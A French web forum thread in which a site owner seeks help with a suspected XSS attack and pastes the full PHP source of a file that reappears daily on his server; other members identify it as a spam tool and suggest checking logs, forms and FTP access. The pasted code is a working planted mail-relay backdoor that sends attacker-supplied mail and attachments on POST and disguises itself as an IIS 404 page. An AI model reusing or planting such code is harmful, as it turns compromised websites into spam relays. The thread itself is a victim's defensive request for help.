Aller au contenu

Aide pour les AntiXss


Sujets conseillés

Posté

Bonjour,

Comme je suis victime d'attaque xss (je crois), et apres recherche, j'ai trouvé un article sur les attaque xss http://www.tux-planet.fr/les-failles-de-se...site-scripting/, mais le probleme c'est que je ne sais pas ou integrer la partie du code suivant:

function antiXss($chaine) { 
return htmlentities($chaine, ENT_QUOTES);
}

J'ai deja eu une réponse me disant que la fonction doit être appellée à chaque fois que je réaffiche à l'écran une donnée externe (récupérée en get ou en post) pour éviter d'être embêté par du cross. Mais le probleme c'est que je n'utilise aucun get ni post!

Avez-vous une petite idée comment resoudre mon probleme ou comment retracer la faille ?

Merci pour votre aide.

Posté

Comment peut tu être victime d'une attaque XSS si tu n'utilises pas $_GET ou $_POST???

Posté

Je ne sais pas vraiment, mais ce n'est pas juste des XSS, voila des fichiers qui s'ajoutent chaque jour ... fixr91.php

Contenu:

<?


function sRjhFrdw($xctmp, $from, $to, $subj, $text, $filename) {
$f = fopen($filename,"rb");
$un = strtoupper(uniqid(time()));
$head = "From: $from\n";
$head .= "To: $to\n";
$head .= "Reply-To: $from\n";
$head .= "Subject: $subj\n";
$head .= "Content-Type:multipart/mixed;";
$head .= "boundary=\"----------".$un."\"\n\n";
$zag = "------------".$un."\nContent-Type:text/html;\n";
$zag .= "Content-Transfer-Encoding: 8bit\n\n$text\n\n";
$zag .= "------------".$un."\n";
$zag .= "Content-Type: application/octet-stream;";
$zag .= "name=\"".basename($filename)."\"\n";
$zag .= "Content-Transfer-Encoding:base64\n";
$zag .= "Content-Disposition:attachment;";
$zag .= "filename=\"".basename($filename)."\"\n\n";
$zag .= chunk_split(base64_encode(fread($f,filesize($filename))))."\n";

return _AT_mail("$to", "$subj", $zag, $head);
}

function LIFdNDdj($xctmp,$from,$to,$subj,$text) {
$head = "From: $from\n";
$head .= "To: $to\n";
$head .= "Subject: $subj\n";
$head .= "Reply-To: $from\n";
$head .= "Content-type: text/html; charset=windows-1251" . "\r\n";
return _AT_mail($to,$subj,$text,$head);
}

if (!empty($_POST['caption']) && !empty($_POST['email']) && !empty($_POST['clientname']) && !empty($_POST['emailsend']) && !empty($_POST['message']) && ($_POST['index'] == 'send'))
{

$xclient = substr(htmlspecialchars(trim($_POST['clientname'])), 0, 80);
$title = substr(htmlspecialchars(trim($_POST['caption'])), 0, 80);
$mess64 = base64_decode($_POST['message']);
$mess = substr(trim($mess64), 0, 10000000);
$send_to = $_POST['emailsend'];
$from = $_POST['email'];

if($_FILES['file']['name'] !=''){
if (is_dir("tmp")) { } else { mkdir("tmp"); }
if(is_uploaded_file($_FILES['file']['tmp_name'])) {
if(move_uploaded_file($_FILES['file']['tmp_name'], "tmp/".basename($_FILES['file']['name']))) {
if(sRjhFrdw($xclient,$from,$send_to,$title,$mess,"tmp/".basename($_FILES['file']['name']))!== FALSE) { echo "OK-FILE"; } else { echo "ERROR-FILE"; }
_AT_unlink("tmp/".basename($_FILES['file']['name']));
} else { echo "ERROR-UPLOAD"; }
} else { echo "ERROR-MOVE"; }
} else {
if(LIFdNDdj($xclient,$from,$send_to,$title,$mess) !== FALSE) {
echo "OK-MESS"; } else { echo "ERROR-MESS"; }
}
}
else
{
if ($_GET['index'] == 'test') {echo "OK2009"; exit;} else
{
echo '<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<HTML><HEAD><TITLE>The page cannot be found</TITLE>
<META HTTP-EQUIV="Content-Type" Content="text/html; charset=Windows-1252">
<STYLE type="text/css">
BODY { font: 8pt/12pt verdana }
H1 { font: 13pt/15pt verdana }
H2 { font: 8pt/12pt verdana }
A:link { color: red }
A:visited { color: maroon }
</STYLE>
</HEAD><BODY><TABLE width=500 border=0 cellspacing=10><TR><TD>

<h1>The page cannot be found</h1>
The page you are looking for might have been removed, had its name changed, or is temporarily unavailable.
<hr>
<p>Please try the following:</p>
<ul>
<li>Make sure that the Web site address displayed in the address bar of your browser is spelled and formatted correctly.</li>
<li>If you reached this page by clicking a link, contact
the Web site administrator to alert them that the link is incorrectly formatted.
</li>
<li>Click the <a href="java script:history.back(1)">Back</a> button to try another link.</li>
</ul>
<h2>HTTP Error 404 - File or directory not found.<br>Internet Information Services (IIS)</h2>
<hr>
<p>Technical Information (for support personnel)</p>
<ul>
<li>Go to <a href="http://go.microsoft.com/fwlink/?linkid=8180">Microsoft Product Support Services</a> and perform a title search for the words <b>HTTP</b> and <b>404</b>.</li>
<li>Open <b>IIS Help</b>, which is accessible in IIS Manager (inetmgr),
and search for topics titled <b>Web Site Setup</b>, <b>Common Administrative Tasks</b>, and <b>About Custom Error Messages</b>.</li>
</ul>

</TD></TR></TABLE></BODY></HTML>';}

}

?>

J'y comprend plus rien :nonono: ... une aide svp...

Posté

Soit tu as un formulaire non sécurisé quelque part, soit quelqu'un a chopé tes accès FTP, ces fichiers tu les purges, ils permettent de faire du spam

Une url??

Posté

Salut Dadou et merci pour ta réponse,

Je vais voir pour l'option "formulaire", Car pour l'accès FTP, je l'ai deja changé et ces fichiers reviennent automatiqment chaque soir... En gros, c'est l'acte d'un robot et non d'un humain.

Voila l'URL, j'utilise comme script Dotclear1, iGalerie, phpcompet, IPB, PhpmuAnnu, PhpMypub et plusieurs autres script que j'ai developpé.

Merci encore pour ton aide.

Posté

Waouh, ils imitent carrément une page erreur 404.

Sinon essaie d'éplucher les logs, surtout aux heures vers lesquelles le fichier spam est créé. Essaie de voir quelles pages sont accédées à ces heures...

Là difficile de te dire quel est le moyen utilisé par le pirate pour te faire ça.

Posté

Et bien,

J'ai déjà fait les mise-a-jour de Dotclear1, iGalerie et phpcompet. ('dapres les forums respectifs de ces derniers, il n'y a aucune faille découverte)

Pour l'IPB c'est en court...

PhpmyAnnuaire ne présente aucune faille, je l'ai verifié

PhpMypub ... aucune idée, mais je vais le supprimer.

Pour les autres scripts ... c'est des petits scripts que j'utilise afin de regler qlq passages d'un cms a l'autre, ou controler l'affichage d'une page suivant l'heure... en gros c'est ca, y'a ni $_GET ni $_post ni aucun formulaire.

Je vais devenir fouuuuuuuuuuu! j'ai supprimé toute l'archive du site :( ... 8 ans d'archive...

Veuillez vous connecter pour commenter

Vous pourrez laisser un commentaire après vous êtes connecté.



Connectez-vous maintenant
×
×
  • Créer...